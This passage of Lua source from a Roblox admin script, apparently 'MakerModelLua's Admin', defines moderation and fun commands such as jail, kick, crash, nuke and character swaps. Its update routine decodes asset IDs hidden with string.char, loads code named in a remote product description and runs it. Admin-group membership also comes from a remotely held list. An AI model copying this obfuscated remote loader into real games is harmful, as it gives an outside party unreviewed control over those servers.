919 elseif Number < 0.5 then
920 return math.floor(Number)
921 end
922end
923
924local AdminID,Got = nil,false
925repeat wait()
926 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
927until Got == true
928
929function CORE:GetTable(ID)
930 local Thing = nil
931 repeat wait()
932 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
933 until Thing
934 return Thing
935end
936
937function CORE:InAdminGroup(Speaker)
938 local IsIn = false
939 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
940 if Speaker:IsInGroup(Get) then
941 IsIn = true
942 end
943 end
944 if IsIn == true then
945 return true
946 else
947 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
948 return false
949 end
950end
951
952function CORE:ReverseTable(Table)
953 if type(Table) ~= "table" then return Table end
954 local NewTable = {}
955 for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
956 return NewTable
957end
958
959function CORE:Log(LogTable, Player, Chat)
960 local PlayerName = tostring(Player)
961 if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
962 table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
963end
964
965function CORE:Jail(Player)
966 if not Player then return nil end
967 local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
968 Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
969 local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
970 local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
971 local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
972 local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
973 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
974 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
975 Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
976 local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
977 Cell:MoveTo(Vector3.new(0,3,0))
978
979 if Player.Character and Player.Character:FindFirstChild("Torso") then
980 Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
981 Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
982 end
983 table.insert(Dispose, Cell)
984 Jails[Player.Name] = Cell
985end
986
987function CORE:UnJail(Player)
988 if not Player then return nil end
989 if Jails[Player.Name] then
990 Jails[Player.Name]:Destroy()
991 Jails[Player.Name] = nil
992 end
993end
994
995function CORE:ChangeName(Player, NewName)
996 if not Player or not NewName then return nil end
997 if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
998 local NewName = STRING:FormatReplace(Player, NewName)
999
1000 for _,Obj in pairs(Player.Character:GetChildren()) do
1001 if Obj.Name == "Label" then Obj:Destroy() end
1002 end
1003
1004 local Head = Player.Character.Head
1005 local HeadClone = Head:Clone()
1006
1007 -- make actual head invisible
1008 Head.Transparency = 1
1009 ypcall(function() Head.face.Transparency = 1 end)
1010
1011 -- make fake head visible
1012 HeadClone.Transparency = 0
1013 ypcall(function() HeadClone.face.Transparency = 0 end)
1014
1015 local Label = Instance.new("Model", Player.Character)
1016 Label.Name = "Label"
1017
1018 local Model = Instance.new("Model", Label)
1019 Model.Name = NewName
1020
1021 local HumanoidClone = Instance.new("Humanoid", Model)
1022 coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
1023
1024 HeadClone.Position = Vector3.new(0,100,0)
1025 HeadClone.CanCollide = false
1026 ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
1027
1028
1029 Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
1030 HeadClone.Parent = Model
1031 local Weld = Instance.new("Weld", HeadClone)
1032 Weld.Part0 = HeadClone
1033 Weld.Part1 = Head
1034 end)
1035 end
1036end
1037
1038function CORE:UpdateAdmin()
1039 if Server.Storage:FindFirstChild("PreventMMLUpdate") then
1040 return nil
1041 end
1042 local UpdateModel = AdminID
1043 if UpdateModel == 0 then return end
1044 local NewAdminModel = nil
1045 ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
1046 if NewAdminModel then
1047 local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
1048 if NewAdmin then
1049 local NewVersion = NewAdmin:FindFirstChild("Version")
1050 if NewVersion.Value ~= CORE.Version.Value then
1051 if ExploitModule then
1052 ExploitModule.Disabled = true
1053 ExploitModule:Destroy()
1054 end
1055 NewAdmin.Disabled = true
1056 NewAdmin.Parent = Workspace
1057 if not Settings then
1058 local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
1059 if NewSettings then NewSettings.Parent = Workspace end
1060 end
1061 wait() NewAdmin.Disabled = false
1062 CORE:RemoveAdmin()
1063 else
1064 NewAdminModel:Destroy()
1065 end
1066 end
1067 end
1068end
1069
1070function CORE:UnpackPlayers(Players)
1071 local PlayerNames = ""
1072 for Num,Player in pairs(Players) do
1073 if Player ~= nil then
1074 if Num ~= #Players then
1075 PlayerNames = PlayerNames..Player.Name..", "
1076 else
1077 PlayerNames = PlayerNames..Player.Name
1078 end
1079 end
1080 end
1081 return PlayerNames
1082end
1083
1084function CORE:GetValue(Value)
1085 if Value:IsA("StringValue") then
1086 if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
1087 if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
1088 if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
1089 if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
1090 if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
1091 if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
1092 if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
1093 for Num,Admin in pairs(Settings.Ranks["Admin"]) do
1094 if Admin == Value.Value then
1095 table.remove(Settings.Ranks["Admin"],Num)
1096 end
1097 end
1098 end end
1099 end
1100end
1101
1102function CORE:GetPlayer(ID)
1103 local Return = {"Unknown", ID}
1104 if tonumber(ID) then
1105 for _,Data in pairs(CharacterCache) do
1106 if ID == Data[2] then
1107 return Data
1108 end
1109 end
1110 ypcall(function()
1111 local Name = Server.Players:GetNameFromUserIdAsync(ID)
1112 if Name then
1113 local Data = {Name, ID}
1114 table.insert(CharacterCache, Data)
1115 Return = Data
1116 end
1117 end)
1118 else
1119 local Name = tostring(ID)
1120 for _,Data in pairs(CharacterCache) do
1121 if string.lower(Name) == string.lower(Data[1]) then
1122 return Data
1123 end
1124 end
1125 ypcall(function()
1126 local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
1127 if PlayerID then
1128 Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
1129 local Data = {Name, PlayerID}
1130 table.insert(CharacterCache, Data)
1131 Return = Data
1132 end
1133 end)
1134 end
1135
1136 return Return
1137end
1138
1139function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
1140 if ID and #tostring(ID) >= 1 then
1141 local PlayerName = nil
1142
1143 local Players = STRING:Scan(ID, Speaker)
1144 if #Players >= 1 then -- if player is found in server
1145 ID = Players[1].UserId
1146 elseif tonumber(ID) then
1147 local Data = CORE:GetPlayer(ID)
1148 PlayerName = Data[1]
1149 else
1150 local Data = CORE:GetPlayer(tostring(ID))
1151 PlayerName = Data[1]
1152 ID = Data[2]
1153 end
1154
1155 if tonumber(ID) == 20018 then -- exploding easter bunny
1156 local OldID = ID
1157 ID = 1
1158 if Speaker then
1159 if RANK:GetRank(Speaker) == "Member" then
1160 coroutine.wrap(function()
1161 wait(1)
1162 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
1163 end)()
1164 else ID = OldID
1165 end
1166 end
1167 elseif tonumber(ID) == 1311 then -- ffjosh
1168 local OldID = ID
1169 ID = 1
1170 if Speaker then
1171 if RANK:GetRank(Speaker) == "Member" then
1172 coroutine.wrap(function()
1173 wait(1)
1174 GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
1175 end)()
1176 else ID = OldID
1177 end
1178 end
1179 end
1180
1181 if tonumber(ID) then
1182 local Position = nil
1183 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
1184 if ManualPos then
1185 Position = ManualPos
1186 else
1187 Position = Player.Character.Torso.Position
1188 end
1189 end
1190 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
1191 wait() Player:LoadCharacter() wait()
1192 if Position then Player.Character:MoveTo(Position) end
1193 if not Perm then
1194 Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
1195 end
1196 if NameChar and PlayerName then
1197 wait(2)
1198 CORE:ChangeName(Player, PlayerName)
1199 end
1200 end
1201 end
1202end)() end
1203
1204function CORE:GenerateShield(Player)
1205 if not Player then return nil end
1206 if not Player.Character then return nil end
1207 local Torso = Player.Character:FindFirstChild("Torso")
1208 if not Torso then return nil end
1209
1210 local Shield = Player.Character:FindFirstChild("Shield")
1211 if Shield then Shield:Destroy() end
1212
1213 Shield = Instance.new("Part", Player.Character)
1214 Shield.Name = "Shield"
1215 Shield.Locked = true
1216 Shield.CanCollide = false
1217 Shield.Size = Vector3.new(10,10,10)
1218 Shield.Shape = "Ball"
1219 Shield.Color = GUI:GetColor()
1220 Shield.Transparency = 0.5
1221 Shield.TopSurface = "Smooth"
1222 Shield.BottomSurface = "Smooth"
1223 Shield.Anchored = true
1224 Shield.Position = Torso.Position
1225
1226 local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
1227 local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
1228
1229 Hum:Play()
1230
1231 Shield.Touched:connect(function(Part)
1232 if Part.Parent ~= Server.Workspace then
1233 local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
1234 if Humanoid then
1235 local Char = Humanoid.Parent
1236 if Char:IsA("Model") and Humanoid.Health > 0 then
1237 if Char ~= Player.Character then
1238 Char:BreakJoints()
1239 Zap:Play()
1240 end
1241 end
1242 end
1243 end
1244 end)
1245
1246 coroutine.wrap(function() repeat wait()
1247 Shield.CFrame = Torso.CFrame
1248 until Torso.Parent == nil or Shield.Parent == nil end)()
1249end
1250
1251function CORE:FlingPlayer(Player)
1252 if Player and Player.Character then
1253 if Player.Character:FindFirstChild("Torso") then
1254 local Fling = Instance.new("BodyForce", Player.Character.Torso)
1255 Fling.Name = "Fling"
1256 Fling.force = Vector3.new(10000,10000,10000)
1257 end
1258 end
1259end
1260
1261function CORE:Kick(Player, CustomMessage)
1262 if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
1263 coroutine.wrap(function()
1264 CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
1265 wait(1)
1266 Player:Kick(CustomMessage)
1267 end)()
1268end
1269
1270function CORE:Crash(Player)
1271 local Parent = Player
1272 if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
1273 elseif Player.Character then Parent = Player.Character end
1274
1275 CORE:ExecuteResource("Crash", Parent)
1276end
1277
1278function CORE:RestoreCamera(Player)
1279 if Player.Backpack then
1280 CORE:ExecuteResource("RestoreCamera", Player.Backpack)
1281 end
1282end
1283
1284function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
1285 local function ScanInstance(Object)
1286 if #Object:GetChildren() > 0 then
1287 for _,Obj in pairs(Object:GetChildren()) do
1288 local IsType = false
1289 if ObjTypes and #ObjTypes > 0 then
1290 for _,ObjType in pairs(ObjTypes) do
1291 if Obj:IsA(ObjType) then
1292 IsType = true
1293 break
1294 end
1295 end
1296 else
1297 IsType = true
1298 end
1299 if IsType == true then
1300 ActiveFunc(Obj)
1301 end
1302 ScanInstance(Obj)
1303 end
1304 end
1305 end
1306 ScanInstance(BaseObj)
1307end
1308
1309function CORE:AnchorPlayer(Player)
1310 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1311
1312 Player.Character.Humanoid.WalkSpeed = 0
1313 for _,Object in pairs(Player.Character:GetChildren()) do
1314 if Object:IsA("BasePart") then
1315 Object.Anchored = true
1316 end
1317 end
1318end
1319
1320function CORE:UnanchorPlayer(Player)
1321 if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
1322
1323 Player.Character.Humanoid.WalkSpeed = 16
1324 for _,Object in pairs(Player.Character:GetChildren()) do
1325 if Object:IsA("BasePart") then
1326 Object.Anchored = false
1327 end
1328 end
1329end
1330
1331function CORE:InvisiblePlayer(Player)
1332 if not Player or not Player.Character then return end
1333
1334 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
1335end
1336
1337function CORE:VisiblePlayer(Player)
1338 if not Player or not Player.Character then return end
1339
1340 CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
1341end
1342
1343function CORE:Nuke(Player) coroutine.wrap(function()
1344 local Pos = CFrame.new(0,1,0)
1345 if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
1346 local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
1347 local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
1348 local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
1349 local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
1350 local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
1351
1352 local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
1353
1354 Server.Lighting.Brightness = 5
1355 Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
1356 Server.OutdoorAmbient = Color3.new(1,1,1)
1357
1358 local Exp = Instance.new("Explosion", Server.Workspace)
1359 Exp.Position = Pos.p
1360 Exp.BlastPressure = 10000000
1361 Exp.BlastRadius = 1000000
1362 Exp.Hit:connect(function(Part)
1363 if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
1364 ypcall(function()
1365 Part.Anchored = false
1366 Part.BrickColor = BrickColor.new("Black")
1367 Part.Material = "Slate"
1368 Part:BreakJoints()
1369 end)
1370 end
1371 end)
1372
1373 local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
1374 BoomSound:Play()
1375 for i = 0,100,0.5 do
1376 Blast.Anchored = true
1377 Wave.Anchored = true
1378 BlastMesh.Scale = Vector3.new(i,i,i)
1379 WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
1380 Blast.CFrame = Pos
1381 wait()
1382 end
1383 BoomSound:Stop()
1384 Blast:Destroy()
1385 Wave:Destroy()
1386 wait()
1387 BoomSound:Destroy()
1388 Effect:Destroy()
1389 for i = 10,5,-1 do
1390 Server.Lighting.Brightness = (i-5) + 1
1391 Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
1392 Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
1393 wait(0.05)
1394 end
1395end)() end
1396
1397function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
1398 local AssetID = tonumber(AssetID)
1399 local Item = nil
1400 if AssetID and AssetID ~= 1055299 then
1401 local CanInsert = true
1402 if AbuseMode then
1403 for _,ID in pairs(RemoteAbuseGear) do
1404 if AssetID == tonumber(ID) then CanInsert = false break end
1405 end
1406 for _,ID in pairs(Settings.AbusableGear) do
1407 if AssetID == tonumber(ID) then CanInsert = false break end
1408 end
1409 end
1410 if CanInsert then
1411 Item = Server.IS:LoadAsset(AssetID)
1412 if GetFirstChild then
1413 Item = Item:GetChildren()[1]
1414 if FirstChildTypes and Item then
1415 local ValidType = false
1416 for _,Type in pairs(FirstChildTypes) do
1417 if Item:IsA(Type) then
1418 ValidType = true
1419 break
1420 end
1421 end
1422 if ValidType == false then
1423 Item = nil
1424 end
1425 end
1426 end
1427 if Item and Parent then
1428 Item.Parent = Parent
1429 end
1430 end
1431 end
1432 return Item
1433end
1434
1435function CORE:GivePackage(Player, PID) coroutine.wrap(function()
1436 if not Player or not Player.Character then return nil end
1437 PID = tonumber(PID)
1438 for _,Obj in pairs(Player.Character:GetChildren()) do
1439 if Obj:IsA("CharacterMesh") then Obj:Destroy() end
1440 end
1441 if PID then
1442 -- back when we needed HttpService to get packages.
1443 --[[
1444 if PackageCache[PID] then
1445 for _,ID in pairs(PackageCache[PID]) do
1446 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1447 end
1448 else
1449 local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
1450 if IDsJSON then
1451 local IDs = REMOTE:Decode(IDsJSON)
1452 if IDs then
1453 if not IDs["Error"] then
1454 table.insert(PackageCache, IDs)
1455 for _,ID in pairs(IDs) do
1456 CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
1457 end
1458 end
1459 end
1460 end
1461 end
1462 ]]
1463 -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
1464 local IDs = {}
1465 ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
1466 if #IDs > 0 then
1467 for _,ID in pairs(IDs) do
1468 local PackagePart = CORE:Insert(ID)
1469 for _,Obj in pairs(PackagePart:GetChildren()) do
1470 if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
1471 Obj.Parent = Player.Character
1472 elseif Obj:IsA("Folder") then
1473 if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
1474 Obj:GetChildren()[1].Parent = Player.Character
1475 end
1476 end
1477 end
1478 end
1479 end
1480 end
1481end)() end
1482
1483function CORE:ChangeBet(Bet)
1484 if tostring(Bet) and Bet ~= Settings.Bet then
1485 for Index,Data in pairs(Commands) do
1486 Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
1487 end
1488 Settings.Bet = Bet
1489 end
1490end
1491
1492function CORE:ResetLighting()
1493 ModLighting = false wait(0.2) ModLighting = true
1494end
1495
1496function CORE:Fly(Player, Force)
1497 if Player and Player.Character then
1498 local StopFly = Instance.new("RemoteFunction", Player.Character)
1499 StopFly.Name = "StopMMLFly"
1500 CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
1501 end
1502end
1503
1504function CORE:GiveTools(Player, Type)
1505 if not Player or not Player:FindFirstChild("Backpack") then return nil end
1506 Type = string.lower(Type)
1507 local _,RankNum = RANK:GetRank(Player)
1508 local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
1509 local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
1510
1511 if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
1512 for Name,Type in pairs(BaseBuildTools) do
1513 local Tool = Instance.new("HopperBin", Player.Backpack)
1514 Tool.Name = Name
1515 Tool.BinType = Type
1516 end
1517 elseif Type == "psbtools" then
1518 for _,Tool in pairs(BuildTools) do
1519 CORE:Insert(Tool, Player.Backpack, true)
1520 end
1521 elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
1522 if F3X then
1523 local F3X = F3X:Clone()
1524 F3X.Parent = Player.Backpack
1525 end
1526 elseif Type == "btools" then
1527 if F3X then
1528 local F3X = F3X:Clone()
1529 F3X.Parent = Player.Backpack
1530 end
1531 for Name,Type in pairs(BaseBuildTools) do
1532 local Tool = Instance.new("HopperBin", Player.Backpack)
1533 Tool.Name = Name
1534 Tool.BinType = Type
1535 end
1536 for _,Tool in pairs(BuildTools) do
1537 CORE:Insert(Tool, Player.Backpack, true)
1538 end
1539 else
1540 for _,Region in pairs(ToolRegions) do
1541 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
1542 if Type == "all" then
1543 local NewItem = Item:Clone()
1544 NewItem.Parent = Player.Backpack
1545 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
1546 local NewItem = Item:Clone()
1547 NewItem.Parent = Player.Backpack
1548 end
1549 end)
1550 end
1551 end
1552end
1553
1554function CORE:Scale(Player, ScalePercent)
1555 if not Player or not Player.Character or not tonumber(ScalePercent) then return end
1556 local Ratio = ScalePercent/100
1557 if Ratio < 0.05 then Ratio = 0.05 end
1558 if Ratio > 100 then Ratio = 100 end
1559 if Ratio > 1 then Ratio = math.ceil(Ratio) end
1560 local Char = Player.Character
1561
1562 local Clean = Char:FindFirstChild("Clean")
1563 if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
1564 Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
1565
1566 local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
1567 local Welds = {}
1568 local Parts = {}
1569
1570 local function Handle(Obj)
1571 if Obj:IsA("BasePart") and not JustWeld then
1572 table.insert(Parts, Obj)
1573 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1574 if Obj.Name == "MML Mesh" then
1575 Obj:Destroy()
1576 end
1577 if Obj.MeshType == Enum.MeshType.FileMesh then
1578 Obj.Offset = Obj.Offset * ScaleRatio
1579 Obj.Scale = Obj.Scale * ScaleRatio
1580 elseif Ratio < 1 then
1581 Obj.Offset = Obj.Offset * ScaleRatio
1582 Obj.Scale = Obj.Scale * ScaleRatio
1583 end
1584 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1585 if Ratio < 1 then
1586 local BodyPart = ""
1587 local TextureID = Obj.BaseTextureId
1588 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1589 if TextureID == 0 then TextureID = nil end
1590 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1591 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1592 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1593 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1594 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1595 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1596 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1597 NewMesh.Name = "MML Mesh"
1598 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1599 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1600 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1601 Obj:Destroy()
1602 end
1603 elseif Obj:IsA("JointInstance") then
1604 local NewWeld = Obj:Clone()
1605 table.insert(Welds, {NewWeld, Obj.Parent})
1606 elseif NewAdd == true and not JustWeld then
1607 if Obj:IsA("Tool") then
1608 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1609 elseif Obj:IsA("Accoutrement") then
1610 --Cycle(Char.Head, ScaleRatio, false, true)
1611 end
1612 end
1613 if #Obj:GetChildren() > 0 then
1614 for _,NewObj in pairs(Obj:GetChildren()) do
1615 Handle(NewObj, ScaleRatio)
1616 end
1617 end
1618 end
1619 Handle(BaseObj)
1620 for _,Part in pairs(Parts) do
1621 if Ratio >= 1 then
1622 Part.Size = Part.Size * ScaleRatio
1623 else
1624 local Allowed = true
1625 for _,Obj in pairs(Part:GetChildren()) do
1626 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1627 Allowed = false
1628 end
1629 end
1630 if Allowed == true then
1631 local NewMesh = Instance.new("BlockMesh", Part)
1632 NewMesh.Name = "MML Mesh"
1633 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1634 end
1635 end
1636 end
1637 for _,WeldData in pairs(Welds) do
1638 if WeldData[1] then
1639 local Obj = WeldData[1]
1640 local NewWeld = Obj:Clone()
1641
1642 NewWeld.Parent = WeldData[2]
1643 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1644 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1645 end
1646 end
1647 for _,Part in pairs(Parts) do
1648 Part:MakeJoints()
1649 end
1650 Welds = {}
1651 Parts = {}
1652 end
1653 Cycle(Char, Ratio)
1654 Char:MakeJoints()
1655
1656 local Added = Char.ChildAdded:connect(function(Obj)
1657 Cycle(Obj, Ratio, NewAdd)
1658 end)
1659 local Removed = Char.ChildRemoved:connect(function(Obj)
1660 Cycle(Obj, Ratio^-1, NewAdd)
1661 end)
1662
1663 Clean.OnInvoke = function()
1664 Added:disconnect()
1665 Removed:disconnect()
1666 local Location = Vector3.new(0,5,0)
1667 if Char:FindFirstChild("Torso") then
1668 Location = Char.Torso.Position + Vector3.new(0,2,0)
1669 end
1670 Player:LoadCharacter()
1671 wait(0.5)
1672 Player.Character:MoveTo(Location)
1673 wait(0.5)
1674 return nil
1675 end
1676
1677 if Char:FindFirstChild("Torso") then
1678 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1679 end
1680 if Char:FindFirstChild("Humanoid") then
1681 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1682 end
1683 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1684 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1685 end
1686end
1687
1688function CORE:AddExploit(PlayerClient, Data)
1689 local PlayerClientName = PlayerClient.Name
1690 local NewData = CORE:GetTime(true, true).." @ "..Data
1691 for _,Player in pairs(Server.Players:GetChildren()) do
1692 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1693 end
1694 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1695 if type(ExploitLog) ~= "table" then
1696 Server.GDS:SetAsync("ExploitLog", {NewData})
1697 else
1698 table.insert(ExploitLog, NewData)
1699 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1700 end
1701 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1702
1703 return true
1704end
1705
1706function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1707 if not tostring(Name) then Name = "Dummy" end
1708 if not Position then Position = Vector3.new(0,5,0) end
1709 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1710 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1711 end
1712
1713 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1714 Figure:MakeJoints()
1715 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
